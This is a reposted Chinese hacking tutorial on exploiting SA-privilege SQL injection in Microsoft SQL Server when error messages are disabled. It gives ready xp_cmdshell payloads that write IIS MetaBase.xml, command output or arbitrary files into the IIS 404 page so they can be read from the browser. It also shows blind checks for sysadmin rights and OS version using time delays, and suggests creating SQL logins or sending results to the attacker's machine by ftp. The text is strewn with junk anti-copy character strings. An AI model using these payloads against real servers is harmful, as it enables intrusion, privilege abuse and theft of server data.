遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。# K8 c& R: ~, `: t" W6 b9 P
: e3 }2 B' Z. G7 z" Y- B2 J. |& J$ g 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
# \! a8 s, C: p+ ]5 p) |0 L ~- _" j2 k1 d' Z6 w
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
6 S3 |$ y+ N6 |( h/ y
1 `% O+ M; W, c# M/ l IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
) F" I! y0 _% Y* Z0 V5 R9 k
3 x- O! R6 O! n8 y A5 X 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--8 @8 g- J2 ?% }$ n5 Q$ k- F
7 D# e/ G9 C1 ^) k( c% K6 w" o) j ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
& M6 J1 F1 d3 e
2 I$ ?( [5 b L9 ]2 ~* X$ r 执行命令得到回显
6 g2 _ P* }8 L( i: W( }0 ]" P) z
" I. ~( J) X6 g 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--6 K+ X0 s9 k. C5 B' ?0 `1 F
% N1 ^7 I! c! S6 f' `% o, O 得到文件也shi相同,把文件copy到404b.htm就行了& n- z% i, I9 r7 h- h, M7 D
; c' o" T4 B# z& T7 `. l5 p- P
by 28ice, 2008/6/26/ V& i) U7 m* {! p
) s# A# d8 q" D( X9 V* e 摘自 28度的冰) I/ S2 |: E4 p
. j n3 l' T* t/ u' c9 A 盲注判断权限和操作系统版本0 O& e0 |8 l" H' G* k
; \. c! l! Z# s" N2 k8 T
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?. G; o5 Z5 Z# W9 O
" N" f- f1 I: a* }
最简单的,可能以用这样的方法:( i# g' w* C+ a h
, Y9 m/ e$ m4 r+ S% C: R0 I9 g
1=(select IS_SRVROLEMEMBER(’sysadmin’))
7 L# X( x% Q/ M t( n' o6 c
1 @+ B; c4 z2 T! ` 当然,有些情况下,这个方法并不奏效。
6 B& K) g# t, u( l2 U9 H7 j. Y0 z5 K9 X, ?# S
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
/ ~ @) o5 ~& X" T- d& W
# B, ?) f, L" p8 K* T 有个3办法可能以解决这个问题
) I1 R9 J% y$ ~. `' r9 D" G8 E w% x/ s2 W3 h# j
a.把执行结果写到404b.htm,具体请看我的上一篇文章
& v m/ j) y, y3 J
; x+ B- t# d2 {3 b4 I* ], s b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟- r9 z8 T3 v( p: u3 d# p
5 L3 M0 W' Y6 Y4 J. y n+ w- {
c.如果1433端口可能以连接,那干脆新建个sql登录: H( g) u1 a, \4 {: H% b
+ U: N3 i) B" l7 b! T. |- W' C& g d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数5 C2 w: `- i7 ?! c8 t2 P0 h
1 `9 i9 r6 g5 Z! `4 r) C- N
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
3 ?0 v8 g" `, Q, M2 y3 {! i6 O. y7 z/ \& C0 J- y
很简单: n1 |- I" _$ B; Q# p
% I& y9 N4 b- h0 i) H3 J9 m: e
执行systeminfo% A) T( l$ s9 A8 x# P* C Z: c. z X
- ]/ L0 x2 x+ \5 q" h 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |